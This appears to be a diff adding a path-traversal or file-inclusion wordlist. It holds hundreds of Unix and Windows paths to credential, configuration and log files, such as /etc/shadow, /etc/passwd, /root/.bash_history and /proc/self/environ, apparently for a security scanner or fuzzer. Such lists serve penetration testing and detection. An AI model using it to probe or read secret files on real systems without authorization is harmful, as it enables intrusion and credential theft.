+/etc/mono/config
+/etc/motd
+/etc/motd
+/etc/mtab
+/etc/mtools.conf
+/etc/muddleftpd.com
+/etc/muddleftpd/muddleftpd.conf
+/etc/muddleftpd/muddleftpd.passwd
+/etc/muddleftpd/mudlog
+/etc/muddleftpd/mudlogd.conf
+/etc/muddleftpd/passwd
+/etc/my.cnf
+/etc/mysql/conf.d/old_passwords.cnf
+/etc/mysql/my.cnf
+/etc/networks
+/etc/newsyslog.conf
+/etc/nginx/nginx.conf
+/etc/openldap/ldap.conf
+/etc/os-release
+/etc/osxhttpd/osxhttpd.conf
+/etc/pam.conf
+/etc/pam.d/proftpd
+/etc/passwd
+/etc/passwd
+/etc/passwd-
+/etc/passwd~
+/etc/password.master
+/etc/php.ini
+/etc/php/apache/php.ini
+/etc/php/apache2/php.ini
+/etc/php/cgi/php.ini
+/etc/php/php.ini
+/etc/php/php4/php.ini
+/etc/php4.4/fcgi/php.ini
+/etc/php4/apache/php.ini
+/etc/php4/apache2/php.ini
+/etc/php4/cgi/php.ini
+/etc/php5/apache/php.ini
+/etc/php5/apache2/php.ini
+/etc/php5/cgi/php.ini
+/etc/phpmyadmin/config.inc.php
+/etc/postgresql/pg_hba.conf
+/etc/postgresql/postgresql.conf
+/etc/profile
+/etc/proftp.conf
+/etc/proftpd/modules.conf
+/etc/protpd/proftpd.conf
+/etc/pulse/client.conf
+/etc/pure-ftpd.conf
+/etc/pure-ftpd/pure-ftpd.conf
+/etc/pure-ftpd/pure-ftpd.pdb
+/etc/pure-ftpd/pureftpd.pdb
+/etc/pureftpd.passwd
+/etc/pureftpd.pdb
+/etc/rc.conf
+/etc/rc.d/rc.httpd
+/etc/redhat-release
+/etc/resolv.conf
+/etc/resolvconf/update-libc.d/sendmail
+/etc/samba/dhcp.conf
+/etc/samba/netlogon
+/etc/samba/private/smbpasswd
+/etc/samba/samba.conf
+/etc/samba/smb.conf
+/etc/samba/smb.conf.user
+/etc/samba/smbpasswd
+/etc/samba/smbusers
+/etc/security/access.conf
+/etc/security/environ
+/etc/security/failedlogin
+/etc/security/group
+/etc/security/group.conf
+/etc/security/lastlog
+/etc/security/limits
+/etc/security/limits.conf
+/etc/security/namespace.conf
+/etc/security/opasswd
+/etc/security/pam_env.conf
+/etc/security/passwd
+/etc/security/sepermit.conf
+/etc/security/time.conf
+/etc/security/user
+/etc/sensors.conf
+/etc/sensors3.conf
+/etc/shadow
+/etc/shadow-
+/etc/shadow~
+/etc/slackware-release
+/etc/smb.conf
+/etc/smbpasswd
+/etc/smi.conf
+/etc/squirrelmail/apache.conf
+/etc/squirrelmail/config.php
+/etc/squirrelmail/config/config.php
+/etc/squirrelmail/config_default.php
+/etc/squirrelmail/config_local.php
+/etc/squirrelmail/default_pref
+/etc/squirrelmail/filters_setup.php
+/etc/squirrelmail/index.php
+/etc/squirrelmail/sqspell_config.php
+/etc/ssh/sshd_config
+/etc/sso/sso_config.ini
+/etc/stunnel/stunnel.conf
+/etc/subversion/config
+/etc/sudoers
+/etc/suse-release
+/etc/sw-cp-server/applications.d/00-sso-cpserver.conf
+/etc/sw-cp-server/applications.d/plesk.conf
+/etc/sysconfig/network-scripts/ifcfg-eth0
+/etc/sysctl.conf
+/etc/sysctl.d/10-console-messages.conf
+/etc/sysctl.d/10-network-security.conf
+/etc/sysctl.d/10-process-security.conf
+/etc/sysctl.d/wine.sysctl.conf
+/etc/syslog.conf
+/etc/timezone
+/etc/tinyproxy/tinyproxy.conf
+/etc/tor/tor-tsocks.conf
+/etc/tsocks.conf
+/etc/updatedb.conf
+/etc/updatedb.conf.beforevmwaretoolsinstall
+/etc/utmp
+/etc/vhcs2/proftpd/proftpd.conf
+/etc/vmware-tools/config
+/etc/vmware-tools/tpvmlp.conf
+/etc/vmware-tools/vmware-tools-libraries.conf
+/etc/vsftpd.chroot_list
+/etc/vsftpd.conf
+/etc/vsftpd/vsftpd.conf
+/etc/webmin/miniserv.conf
+/etc/webmin/miniserv.users
+/etc/wicd/dhclient.conf.template.default
+/etc/wicd/manager-settings.conf
+/etc/wicd/wired-settings.conf
+/etc/wicd/wireless-settings.conf
+/etc/wu-ftpd/ftpaccess
+/etc/wu-ftpd/ftphosts
+/etc/wu-ftpd/ftpusers
+/etc/x11/xorg.conf
+/etc/x11/xorg.conf-vesa
+/etc/x11/xorg.conf-vmware
+/etc/x11/xorg.conf.beforevmwaretoolsinstall
+/etc/x11/xorg.conf.orig
+/home/bin/stable/apache/php.ini
+/home/postgres/data/pg_hba.conf
+/home/postgres/data/pg_ident.conf
+/home/postgres/data/pg_version
+/home/postgres/data/postgresql.conf
+/home/user/lighttpd/lighttpd.conf
+/home2/bin/stable/apache/php.ini
+/http/httpd.conf
+/library/webserver/documents/.htaccess
+/library/webserver/documents/default.htm
+/library/webserver/documents/default.html
+/library/webserver/documents/default.php
+/library/webserver/documents/index.htm
+/library/webserver/documents/index.html
+/library/webserver/documents/index.php
+/logs/access.log
+/logs/access_log
+/logs/error.log
+/logs/error_log
+/logs/pure-ftpd.log
+/logs/security_debug_log
+/logs/security_log
+/mysql/bin/my.ini
+/mysql/data/mysql-bin.index
+/mysql/data/mysql-bin.log
+/mysql/data/mysql.err
+/mysql/data/mysql.log
+/mysql/my.cnf
+/mysql/my.ini
+/netserver/bin/stable/apache/php.ini
+/opt/[jboss]/server/default/conf/jboss-minimal.xml
+/opt/[jboss]/server/default/conf/jboss-service.xml
+/opt/[jboss]/server/default/conf/jndi.properties
+/opt/[jboss]/server/default/conf/log4j.xml
+/opt/[jboss]/server/default/conf/login-config.xml
+/opt/[jboss]/server/default/conf/server.log.properties
+/opt/[jboss]/server/default/conf/standardjaws.xml
+/opt/[jboss]/server/default/conf/standardjboss.xml
+/opt/[jboss]/server/default/deploy/jboss-logging.xml
+/opt/[jboss]/server/default/log/boot.log
+/opt/[jboss]/server/default/log/server.log
+/opt/apache/apache.conf
+/opt/apache/apache2.conf
+/opt/apache/conf/apache.conf
+/opt/apache/conf/apache2.conf
+/opt/apache/conf/httpd.conf
+/opt/apache2/apache.conf
+/opt/apache2/apache2.conf
+/opt/apache2/conf/apache.conf
+/opt/apache2/conf/apache2.conf
+/opt/apache2/conf/httpd.conf
+/opt/apache22/conf/httpd.conf
+/opt/httpd/apache.conf
+/opt/httpd/apache2.conf
+/opt/httpd/conf/apache.conf
+/opt/httpd/conf/apache2.conf
+/opt/lampp/etc/httpd.conf
+/opt/lampp/logs/access.log
+/opt/lampp/logs/access_log
+/opt/lampp/logs/error.log
+/opt/lampp/logs/error_log
+/opt/lsws/conf/httpd_conf.xml
+/opt/lsws/logs/access.log
+/opt/lsws/logs/error.log
+/opt/tomcat/logs/catalina.err
+/opt/tomcat/logs/catalina.out
+/opt/xampp/etc/php.ini
+/opt/xampp/logs/access.log
+/opt/xampp/logs/access_log
+/opt/xampp/logs/error.log
+/opt/xampp/logs/error_log
+/php/php.ini
+/php/php.ini
+/php4/php.ini
+/php5/php.ini
+/postgresql/log/pgadmin.log
+/private/etc/httpd/apache.conf
+/private/etc/httpd/apache2.conf
+/private/etc/httpd/httpd.conf
+/private/etc/httpd/httpd.conf.default
+/private/etc/squirrelmail/config/config.php
+/private/tmp/[jboss]/server/default/conf/jboss-minimal.xml
+/private/tmp/[jboss]/server/default/conf/jboss-service.xml
+/private/tmp/[jboss]/server/default/conf/jndi.properties
+/private/tmp/[jboss]/server/default/conf/log4j.xml
+/private/tmp/[jboss]/server/default/conf/login-config.xml
+/private/tmp/[jboss]/server/default/conf/server.log.properties
+/private/tmp/[jboss]/server/default/conf/standardjaws.xml
+/private/tmp/[jboss]/server/default/conf/standardjboss.xml
+/private/tmp/[jboss]/server/default/deploy/jboss-logging.xml
+/private/tmp/[jboss]/server/default/log/boot.log
+/private/tmp/[jboss]/server/default/log/server.log
+/proc/cpuinfo
+/proc/devices
+/proc/meminfo
+/proc/net/tcp
+/proc/net/udp
+/proc/self/cmdline
+/proc/self/environ
+/proc/self/environ
+/proc/self/fd/0
+/proc/self/fd/1
+/proc/self/fd/10
+/proc/self/fd/11
+/proc/self/fd/12
+/proc/self/fd/13
+/proc/self/fd/14
+/proc/self/fd/15
+/proc/self/fd/2
+/proc/self/fd/3
+/proc/self/fd/4
+/proc/self/fd/5
+/proc/self/fd/6
+/proc/self/fd/7
+/proc/self/fd/8
+/proc/self/fd/9
+/proc/self/mounts
+/proc/self/stat
+/proc/self/status
+/proc/version
+/program files/[jboss]/server/default/conf/jboss-minimal.xml
+/program files/[jboss]/server/default/conf/jboss-service.xml
+/program files/[jboss]/server/default/conf/jndi.properties
+/program files/[jboss]/server/default/conf/log4j.xml
+/program files/[jboss]/server/default/conf/login-config.xml
+/program files/[jboss]/server/default/conf/server.log.properties
+/program files/[jboss]/server/default/conf/standardjaws.xml
+/program files/[jboss]/server/default/conf/standardjboss.xml
+/program files/[jboss]/server/default/deploy/jboss-logging.xml
+/program files/[jboss]/server/default/log/boot.log
+/program files/[jboss]/server/default/log/server.log
+/program files/apache group/apache/apache.conf
+/program files/apache group/apache/apache2.conf
+/program files/apache group/apache/conf/apache.conf
+/program files/apache group/apache/conf/apache2.conf
+/program files/apache group/apache/conf/httpd.conf
+/program files/apache group/apache/logs/access.log
+/program files/apache group/apache/logs/error.log
+/program files/apache group/apache2/conf/apache.conf
+/program files/apache group/apache2/conf/apache2.conf
+/program files/apache group/apache2/conf/httpd.conf
+/program files/apache software foundation/apache2.2/conf/httpd.conf
+/program files/apache software foundation/apache2.2/logs/access.log
+/program files/apache software foundation/apache2.2/logs/error.log
+/program files/mysql/data/mysql-bin.index
+/program files/mysql/data/mysql-bin.log
+/program files/mysql/data/mysql.err
+/program files/mysql/data/mysql.log
+/program files/mysql/my.cnf
+/program files/mysql/my.ini
+/program files/mysql/mysql server 5.0/data/mysql-bin.index
+/program files/mysql/mysql server 5.0/data/mysql-bin.log
+/program files/mysql/mysql server 5.0/data/mysql.err
+/program files/mysql/mysql server 5.0/data/mysql.log
+/program files/mysql/mysql server 5.0/my.cnf
+/program files/mysql/mysql server 5.0/my.ini
+/program files/postgresql/8.3/data/pg_hba.conf
+/program files/postgresql/8.3/data/pg_ident.conf
+/program files/postgresql/8.3/data/postgresql.conf
+/program files/postgresql/8.4/data/pg_hba.conf
+/program files/postgresql/8.4/data/pg_ident.conf
+/program files/postgresql/8.4/data/postgresql.conf
+/program files/postgresql/9.0/data/pg_hba.conf
+/program files/postgresql/9.0/data/pg_ident.conf
+/program files/postgresql/9.0/data/postgresql.conf
+/program files/postgresql/9.1/data/pg_hba.conf
+/program files/postgresql/9.1/data/pg_ident.conf
+/program files/postgresql/9.1/data/postgresql.conf
+/program files/vidalia bundle/polipo/polipo.conf
+/program files/xampp/apache/conf/apache.conf
+/program files/xampp/apache/conf/apache2.conf
+/program files/xampp/apache/conf/httpd.conf
+/root/.bash_config
+/root/.bash_history
+/root/.bash_logout
+/root/.bashrc
+/root/.ksh_history
+/root/.xauthority
+/srv/www/htdos/squirrelmail/config/config.php
+/ssl_request_log
+/system/library/webobjects/adaptors/apache2.2/apache.conf
+/temp/sess_
+/thttpd_log
+/tmp/[jboss]/server/default/conf/jboss-minimal.xml
+/tmp/[jboss]/server/default/conf/jboss-service.xml
+/tmp/[jboss]/server/default/conf/jndi.properties
+/tmp/[jboss]/server/default/conf/log4j.xml
+/tmp/[jboss]/server/default/conf/login-config.xml
+/tmp/[jboss]/server/default/conf/server.log.properties
+/tmp/[jboss]/server/default/conf/standardjaws.xml
+/tmp/[jboss]/server/default/conf/standardjboss.xml
+/tmp/[jboss]/server/default/deploy/jboss-logging.xml
+/tmp/[jboss]/server/default/log/boot.log
+/tmp/[jboss]/server/default/log/server.log
+/tmp/access.log
+/tmp/sess_
+/usr/apache/conf/httpd.conf
+/usr/apache2/conf/httpd.conf
+/usr/etc/pure-ftpd.conf
+/usr/home/user/lighttpd/lighttpd.conf
+/usr/home/user/var/log/apache.log
+/usr/home/user/var/log/lighttpd.error.log
+/usr/internet/pgsql/data/pg_hba.conf
+/usr/internet/pgsql/data/postmaster.log
+/usr/lib/cron/log
+/usr/lib/php.ini
+/usr/lib/php/php.ini
+/usr/lib/security/mkuser.default
+/usr/local/[jboss]/server/default/conf/jboss-minimal.xml
+/usr/local/[jboss]/server/default/conf/jboss-service.xml
+/usr/local/[jboss]/server/default/conf/jndi.properties
+/usr/local/[jboss]/server/default/conf/log4j.xml
+/usr/local/[jboss]/server/default/conf/login-config.xml
+/usr/local/[jboss]/server/default/conf/server.log.properties
+/usr/local/[jboss]/server/default/conf/standardjaws.xml
+/usr/local/[jboss]/server/default/conf/standardjboss.xml
+/usr/local/[jboss]/server/default/deploy/jboss-logging.xml
+/usr/local/[jboss]/server/default/log/boot.log
+/usr/local/[jboss]/server/default/log/server.log
+/usr/local/apache/apache.conf
+/usr/local/apache/apache2.conf
+/usr/local/apache/conf/access.conf
+/usr/local/apache/conf/apache.conf
+/usr/local/apache/conf/apache2.conf
+/usr/local/apache/conf/httpd.conf
+/usr/local/apache/conf/httpd.conf.default
+/usr/local/apache/conf/modsec.conf
+/usr/local/apache/conf/php.ini
+/usr/local/apache/conf/vhosts-custom.conf
+/usr/local/apache/conf/vhosts.conf
+/usr/local/apache/httpd.conf
+/usr/local/apache/logs/access.log
+/usr/local/apache/logs/access_log
+/usr/local/apache/logs/audit_log
+/usr/local/apache/logs/error.log
+/usr/local/apache/logs/error_log
+/usr/local/apache/logs/lighttpd.error.log
+/usr/local/apache/logs/lighttpd.log
+/usr/local/apache/logs/mod_jk.log
+/usr/local/apache1.3/conf/httpd.conf
+/usr/local/apache2/apache.conf
+/usr/local/apache2/apache2.conf
+/usr/local/apache2/conf/apache.conf
+/usr/local/apache2/conf/apache2.conf
+/usr/local/apache2/conf/extra/httpd-ssl.conf
+/usr/local/apache2/conf/httpd.conf
+/usr/local/apache2/conf/modsec.conf
+/usr/local/apache2/conf/ssl.conf
+/usr/local/apache2/conf/vhosts-custom.conf
+/usr/local/apache2/conf/vhosts.conf
+/usr/local/apache2/httpd.conf
+/usr/local/apache2/logs/access.log
+/usr/local/apache2/logs/access_log
+/usr/local/apache2/logs/audit_log
+/usr/local/apache2/logs/error.log
+/usr/local/apache2/logs/error_log
+/usr/local/apache2/logs/lighttpd.error.log
+/usr/local/apache2/logs/lighttpd.log
+/usr/local/apache22/conf/httpd.conf
+/usr/local/apache22/httpd.conf
+/usr/local/apps/apache/conf/httpd.conf
+/usr/local/apps/apache2/conf/httpd.conf
+/usr/local/apps/apache22/conf/httpd.conf
+/usr/local/cpanel/logs/access_log
+/usr/local/cpanel/logs/error_log
+/usr/local/cpanel/logs/license_log
+/usr/local/cpanel/logs/login_log
+/usr/local/cpanel/logs/stats_log
+/usr/local/etc/apache/conf/httpd.conf
+/usr/local/etc/apache/httpd.conf
+/usr/local/etc/apache/vhosts.conf
+/usr/local/etc/apache2/conf/httpd.conf
+/usr/local/etc/apache2/httpd.conf
+/usr/local/etc/apache2/vhosts.conf
+/usr/local/etc/apache22/conf/httpd.conf
+/usr/local/etc/apache22/httpd.conf
+/usr/local/etc/httpd/conf
+/usr/local/etc/httpd/conf/httpd.conf
+/usr/local/etc/lighttpd.conf
+/usr/local/etc/lighttpd.conf.new
+/usr/local/etc/nginx/nginx.conf
+/usr/local/etc/php.ini
+/usr/local/etc/pure-ftpd.conf
+/usr/local/etc/pureftpd.pdb
+/usr/local/etc/smb.conf
+/usr/local/etc/webmin/miniserv.conf
+/usr/local/etc/webmin/miniserv.users
+/usr/local/httpd/conf/httpd.conf
+/usr/local/jakarta/dist/tomcat/conf/context.xml
+/usr/local/jakarta/dist/tomcat/conf/jakarta.conf
+/usr/local/jakarta/dist/tomcat/conf/logging.properties
+/usr/local/jakarta/dist/tomcat/conf/server.xml
+/usr/local/jakarta/dist/tomcat/conf/workers.properties
+/usr/local/jakarta/dist/tomcat/logs/mod_jk.log
+/usr/local/jakarta/tomcat/conf/context.xml
+/usr/local/jakarta/tomcat/conf/jakarta.conf
+/usr/local/jakarta/tomcat/conf/logging.properties
+/usr/local/jakarta/tomcat/conf/server.xml
+/usr/local/jakarta/tomcat/conf/workers.properties
+/usr/local/jakarta/tomcat/logs/catalina.err
+/usr/local/jakarta/tomcat/logs/catalina.out
+/usr/local/jakarta/tomcat/logs/mod_jk.log
+/usr/local/lib/php.ini
+/usr/local/lighttpd/conf/lighttpd.conf
+/usr/local/lighttpd/log/access.log
+/usr/local/lighttpd/log/lighttpd.error.log
+/usr/local/logs/access.log
+/usr/local/logs/samba.log
+/usr/local/lsws/conf/httpd_conf.xml
+/usr/local/lsws/logs/error.log
+/usr/local/mysql/data/mysql-bin.index
+/usr/local/mysql/data/mysql-bin.log
+/usr/local/mysql/data/mysql-slow.log
+/usr/local/mysql/data/mysql.err
+/usr/local/mysql/data/mysql.log
+/usr/local/mysql/data/mysqlderror.log
+/usr/local/nginx/conf/nginx.conf
+/usr/local/pgsql/bin/pg_passwd
+/usr/local/pgsql/data/passwd
+/usr/local/pgsql/data/pg_hba.conf
+/usr/local/pgsql/data/pg_log
+/usr/local/pgsql/data/postgresql.conf
+/usr/local/pgsql/data/postgresql.log
+/usr/local/php/apache.conf
+/usr/local/php/apache.conf.php
+/usr/local/php/apache2.conf
+/usr/local/php/apache2.conf.php
+/usr/local/php/httpd.conf
+/usr/local/php/httpd.conf.php
+/usr/local/php/lib/php.ini
+/usr/local/php4/apache.conf
+/usr/local/php4/apache.conf.php
+/usr/local/php4/apache2.conf
+/usr/local/php4/apache2.conf.php
+/usr/local/php4/httpd.conf
+/usr/local/php4/httpd.conf.php
+/usr/local/php4/lib/php.ini
+/usr/local/php5/apache.conf
+/usr/local/php5/apache.conf.php
+/usr/local/php5/apache2.conf
+/usr/local/php5/apache2.conf.php
+/usr/local/php5/httpd.conf
+/usr/local/php5/httpd.conf.php
+/usr/local/php5/lib/php.ini
+/usr/local/psa/admin/conf/php.ini
+/usr/local/psa/admin/conf/site_isolation_settings.ini
+/usr/local/psa/admin/htdocs/domains/databases/phpmyadmin/libraries/config.default.php
+/usr/local/psa/admin/logs/httpsd_access_log
+/usr/local/psa/admin/logs/panel.log
+/usr/local/pureftpd/etc/pure-ftpd.conf
+/usr/local/pureftpd/etc/pureftpd.pdb
+/usr/local/pureftpd/sbin/pure-config.pl
+/usr/local/samba/lib/log.user
+/usr/local/samba/lib/smb.conf.user
+/usr/local/sb/config
+/usr/local/squirrelmail/www/readme
+/usr/local/zend/etc/php.ini
+/usr/local/zeus/web/global.cfg
+/usr/local/zeus/web/log/errors
+/usr/pkg/etc/httpd/httpd-default.conf
+/usr/pkg/etc/httpd/httpd-vhosts.conf
+/usr/pkg/etc/httpd/httpd.conf
+/usr/pkgsrc/net/pureftpd/pure-ftpd.conf
+/usr/pkgsrc/net/pureftpd/pureftpd.passwd
+/usr/pkgsrc/net/pureftpd/pureftpd.pdb
+/usr/ports/contrib/pure-ftpd/pure-ftpd.conf
+/usr/ports/contrib/pure-ftpd/pureftpd.passwd
+/usr/ports/contrib/pure-ftpd/pureftpd.pdb
+/usr/ports/ftp/pure-ftpd/pure-ftpd.conf
+/usr/ports/ftp/pure-ftpd/pureftpd.passwd
+/usr/ports/ftp/pure-ftpd/pureftpd.pdb
+/usr/ports/net/pure-ftpd/pure-ftpd.conf
+/usr/ports/net/pure-ftpd/pureftpd.passwd
+/usr/ports/net/pure-ftpd/pureftpd.pdb
+/usr/sbin/mudlogd
+/usr/sbin/mudpasswd
+/usr/sbin/pure-config.pl
+/usr/share/adduser/adduser.conf
+/usr/share/logs/catalina.err
+/usr/share/logs/catalina.out
+/usr/share/squirrelmail/config/config.php
+/usr/share/squirrelmail/plugins/squirrel_logger/setup.php
+/usr/share/tomcat/logs/catalina.err
+/usr/share/tomcat/logs/catalina.out
+/usr/share/tomcat6/conf/context.xml
+/usr/share/tomcat6/conf/logging.properties
+/usr/share/tomcat6/conf/server.xml
+/usr/share/tomcat6/conf/workers.properties
+/usr/share/tomcat6/logs/catalina.err
+/usr/share/tomcat6/logs/catalina.out
+/usr/spool/lp/log
+/usr/spool/mqueue/syslog
+/var/adm/acct/sum/loginlog
+/var/adm/aculog
+/var/adm/aculogs
+/var/adm/crash/unix
+/var/adm/crash/vmcore
+/var/adm/cron/log
+/var/adm/dtmp
+/var/adm/lastlog/username
+/var/adm/log/asppp.log
+/var/adm/log/xferlog
+/var/adm/loginlog
+/var/adm/lp/lpd-errs
+/var/adm/messages
+/var/adm/pacct
+/var/adm/qacct
+/var/adm/ras/bootlog
+/var/adm/ras/errlog
+/var/adm/sulog
+/var/adm/syslog
+/var/adm/utmp
+/var/adm/utmpx
+/var/adm/vold.log
+/var/adm/wtmp
+/var/adm/wtmpx
+/var/adm/x0msgs
+/var/apache/conf/httpd.conf
+/var/cpanel/cpanel.config
+/var/cpanel/tomcat.options
+/var/cron/log
+/var/data/mysql-bin.index
+/var/lib/mysql/my.cnf
+/var/lib/pgsql/data/postgresql.conf
+/var/lib/squirrelmail/prefs/squirrelmail.log
+/var/lighttpd.log
+/var/local/www/conf/php.ini
+/var/log/access.log
+/var/log/access_log
+/var/log/apache/access.log
+/var/log/apache/access_log
+/var/log/apache/error.log
+/var/log/apache/error_log
+/var/log/apache2/access.log
+/var/log/apache2/access_log
+/var/log/apache2/error.log
+/var/log/apache2/error_log
+/var/log/apache2/squirrelmail.err.log
+/var/log/apache2/squirrelmail.log
+/var/log/auth.log
+/var/log/auth.log
+/var/log/authlog
+/var/log/boot.log
+/var/log/cron/var/log/postgres.log
+/var/log/daemon.log
+/var/log/daemon.log.1
+/var/log/data/mysql-bin.index
+/var/log/error.log
+/var/log/error_log
+/var/log/exim/mainlog
+/var/log/exim/paniclog
+/var/log/exim/rejectlog
+/var/log/exim_mainlog
+/var/log/exim_paniclog
+/var/log/exim_rejectlog
+/var/log/ftp-proxy
+/var/log/ftp-proxy/ftp-proxy.log
+/var/log/ftplog
+/var/log/httpd/access.log
+/var/log/httpd/access_log
+/var/log/httpd/error.log
+/var/log/httpd/error_log
+/var/log/ipfw
+/var/log/ipfw.log
+/var/log/ipfw.today
+/var/log/ipfw/ipfw.log
+/var/log/kern.log
+/var/log/kern.log.1
+/var/log/lighttpd.access.log
+/var/log/lighttpd.error.log
+/var/log/lighttpd/access.log
+/var/log/lighttpd/access.www.log
+/var/log/lighttpd/error.log
+/var/log/lighttpd/error.www.log
+/var/log/log.smb
+/var/log/mail.err
+/var/log/mail.info
+/var/log/mail.log
+/var/log/mail.log
+/var/log/mail.warn
+/var/log/maillog
+/var/log/messages
+/var/log/messages.1
+/var/log/muddleftpd
+/var/log/muddleftpd.conf
+/var/log/mysql-bin.index
+/var/log/mysql.err
+/var/log/mysql.log
+/var/log/mysql/data/mysql-bin.index
+/var/log/mysql/mysql-bin.index
+/var/log/mysql/mysql-bin.log
+/var/log/mysql/mysql-slow.log
+/var/log/mysql/mysql.log
+/var/log/mysqlderror.log
+/var/log/news.all
+/var/log/news/news.all
+/var/log/news/news.crit
+/var/log/news/news.err
+/var/log/news/news.notice
+/var/log/news/suck.err
+/var/log/news/suck.notice
+/var/log/nginx.access_log
+/var/log/nginx.error_log
+/var/log/nginx/access.log
+/var/log/nginx/access_log
+/var/log/nginx/error.log
+/var/log/nginx/error_log
+/var/log/pgsql/pgsql.log
+/var/log/pgsql8.log
+/var/log/pgsql_log
+/var/log/pm-powersave.log
+/var/log/poplog
+/var/log/postgres/pg_backup.log
+/var/log/postgres/postgres.log
+/var/log/postgresql.log
+/var/log/postgresql/main.log
+/var/log/postgresql/postgres.log
+/var/log/postgresql/postgresql-8.1-main.log
+/var/log/postgresql/postgresql-8.3-main.log
+/var/log/postgresql/postgresql-8.4-main.log
+/var/log/postgresql/postgresql-9.0-main.log
+/var/log/postgresql/postgresql-9.1-main.log
+/var/log/postgresql/postgresql.log
+/var/log/proftpd
+/var/log/proftpd.access_log
+/var/log/proftpd.xferlog
+/var/log/proftpd/xferlog.legacy
+/var/log/pure-ftpd/pure-ftpd.log
+/var/log/pureftpd.log
+/var/log/samba.log
+/var/log/samba.log1
+/var/log/samba.log2
+/var/log/samba/log.nmbd
+/var/log/samba/log.smbd
+/var/log/squirrelmail.log
+/var/log/sso/sso.log
+/var/log/sw-cp-server/error_log
+/var/log/syslog
+/var/log/syslog.1
+/var/log/thttpd_log
+/var/log/tomcat6/catalina.out
+/var/log/ufw.log
+/var/log/user.log
+/var/log/user.log.1
+/var/log/vmware/hostd-1.log
+/var/log/vmware/hostd.log
+/var/log/vsftpd.log
+/var/log/webmin/miniserv.log
+/var/log/xferlog
+/var/log/xorg.0.log
+/var/logs/access.log
+/var/lp/logs/lpnet
+/var/lp/logs/lpsched
+/var/lp/logs/requests
+/var/mysql-bin.index
+/var/mysql.log
+/var/nm2/postgresql.conf
+/var/postgresql/db/postgresql.conf
+/var/postgresql/log/postgresql.log
+/var/saf/_log
+/var/saf/port/log
+/var/www/.lighttpdpassword
+/var/www/conf
+/var/www/conf/httpd.conf
+/var/www/html/squirrelmail-1.2.9/config/config.php
+/var/www/html/squirrelmail/config/config.php
+/var/www/logs/access.log
+/var/www/logs/access_log
+/var/www/logs/error.log
+/var/www/logs/error_log
+/var/www/squirrelmail/config/config.php
+/volumes/macintosh_hd1/opt/apache/conf/httpd.conf
+/volumes/macintosh_hd1/opt/apache2/conf/httpd.conf
+/volumes/macintosh_hd1/opt/httpd/conf/httpd.conf
+/volumes/macintosh_hd1/usr/local/php/httpd.conf.php
+/volumes/macintosh_hd1/usr/local/php/lib/php.ini
+/volumes/macintosh_hd1/usr/local/php4/httpd.conf.php
+/volumes/macintosh_hd1/usr/local/php5/httpd.conf.php
+/volumes/webbackup/opt/apache2/conf/httpd.conf
+/volumes/webbackup/private/etc/httpd/httpd.conf
+/volumes/webbackup/private/etc/httpd/httpd.conf.default
+/wamp/bin/apache/apache2.2.21/conf/httpd.conf
+/wamp/bin/apache/apache2.2.21/logs/access.log
+/wamp/bin/apache/apache2.2.21/logs/error.log
+/wamp/bin/apache/apache2.2.21/wampserver.conf
+/wamp/bin/apache/apache2.2.22/conf/httpd.conf
+/wamp/bin/apache/apache2.2.22/conf/wampserver.conf
+/wamp/bin/apache/apache2.2.22/logs/access.log
+/wamp/bin/apache/apache2.2.22/logs/error.log
+/wamp/bin/apache/apache2.2.22/wampserver.conf
+/wamp/bin/mysql/mysql5.5.16/data/mysql-bin.index
+/wamp/bin/mysql/mysql5.5.16/my.ini
+/wamp/bin/mysql/mysql5.5.16/wampserver.conf
+/wamp/bin/mysql/mysql5.5.24/data/mysql-bin.index
+/wamp/bin/mysql/mysql5.5.24/my.ini
+/wamp/bin/mysql/mysql5.5.24/wampserver.conf
+/wamp/bin/php/php5.3.8/php.ini
+/wamp/bin/php/php5.4.3/php.ini
+/wamp/logs/access.log
+/wamp/logs/apache_error.log
+/wamp/logs/genquery.log
+/wamp/logs/mysql.log
+/wamp/logs/slowquery.log
+/web/conf/php.ini
+/windows/comsetup.log
+/windows/debug/netsetup.log
+/windows/odbc.ini
+/windows/php.ini
+/windows/repair/setup.log
+/windows/setupact.log
+/windows/setupapi.log
+/windows/setuperr.log
+/windows/win.ini
+/windows/system32/drivers/etc/hosts
+/windows/system32/drivers/etc/lmhosts.sam
+/windows/system32/drivers/etc/networks
+/windows/system32/drivers/etc/protocol
+/windows/system32/drivers/etc/services
+/windows/system32/logfiles/firewall/pfirewall.log
+/windows/system32/logfiles/firewall/pfirewall.log.old
+/windows/system32/logfiles/msftpsvc
+/windows/system32/logfiles/msftpsvc1
+/windows/system32/logfiles/msftpsvc2
+/windows/system32/logfiles/smtpsvc
+/windows/system32/logfiles/smtpsvc1
+/windows/system32/logfiles/smtpsvc2
+/windows/system32/logfiles/smtpsvc3
+/windows/system32/logfiles/smtpsvc4
+/windows/system32/logfiles/smtpsvc5
+/windows/system32/logfiles/w3svc/inetsvn1.log
+/windows/system32/logfiles/w3svc1/inetsvn1.log
+/windows/system32/logfiles/w3svc2/inetsvn1.log
+/windows/system32/logfiles/w3svc3/inetsvn1.log
+/windows/system32/macromed/flash/flashinstall.log
+/windows/system32/macromed/flash/install.log
+/windows/updspapi.log
+/windows/windowsupdate.log
+/windows/wmsetup.log
+/winnt/php.ini
+/winnt/system32/logfiles/firewall/pfirewall.log
+/winnt/system32/logfiles/firewall/pfirewall.log.old
+/winnt/system32/logfiles/msftpsvc
+/winnt/system32/logfiles/msftpsvc1
+/winnt/system32/logfiles/msftpsvc2
+/winnt/system32/logfiles/smtpsvc
+/winnt/system32/logfiles/smtpsvc1
+/winnt/system32/logfiles/smtpsvc2
+/winnt/system32/logfiles/smtpsvc3
+/winnt/system32/logfiles/smtpsvc4
+/winnt/system32/logfiles/smtpsvc5
+/winnt/system32/logfiles/w3svc/inetsvn1.log
+/winnt/system32/logfiles/w3svc1/inetsvn1.log
+/winnt/system32/logfiles/w3svc2/inetsvn1.log
+/winnt/system32/logfiles/w3svc3/inetsvn1.log
+/www/apache/conf/httpd.conf
+/www/conf/httpd.conf
+/www/logs/freebsddiary-access_log
+/www/logs/freebsddiary-error.log
+/www/logs/proftpd.system.log
+/xampp/apache/bin/php.ini
+/xampp/apache/conf/httpd.conf
+/xampp/apache/logs/access.log
+/xampp/apache/logs/error.log
+/xampp/filezillaftp/filezilla server.xml
+/xampp/htdocs/aca.txt
+/xampp/htdocs/admin.php
+/xampp/htdocs/leer.txt
+/xampp/mercurymail/mercury.ini
+/xampp/mysql/data/mysql-bin.index
+/xampp/mysql/data/mysql.err
+/xampp/php/php.ini
+/xampp/phpmyadmin/config.inc.php
+/xampp/sendmail/sendmail.ini
+/xampp/sendmail/sendmail.log
+/xampp/webalizer/webalizer.conf
+\autoexec.bat
+\boot.ini
